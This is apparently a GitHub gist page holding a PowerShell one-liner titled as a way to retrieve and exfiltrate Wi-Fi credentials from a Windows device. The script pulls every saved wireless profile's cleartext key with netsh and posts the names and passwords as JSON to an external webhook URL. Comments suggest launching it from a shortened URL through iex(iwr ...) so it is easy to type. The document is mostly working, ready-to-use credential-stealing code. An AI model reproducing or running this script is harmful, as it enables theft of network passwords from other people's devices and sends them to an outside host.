Skip to content

Instantly share code, notes, and snippets.

@fyxme
Created November 1, 2023 20:31
Show Gist options
  • Save fyxme/db3fefe2c343f5fc8773edd4cf829853 to your computer and use it in GitHub Desktop.
Save fyxme/db3fefe2c343f5fc8773edd4cf829853 to your computer and use it in GitHub Desktop.
Retrieve and Exfil Wifi Credentials Stored on a Windows Device to an External Webhook
# A simple powershell oneliner to exfil wifi creds
# most of the code was borrowed from this gist which deserves all the credit:
# https://gist.github.com/CybersamuraiDK/6e0be5c0c47165228895079efa8d98ec
# can also be run using iex(iwr ....) with a shortened url so its easy to type out
$WEBHOOK="https://webhook.site/XXXX" # change this to your own webhook
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | ConvertTo-Json | %{ curl.exe -d "data=$_" -X POST $WEBHOOK }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment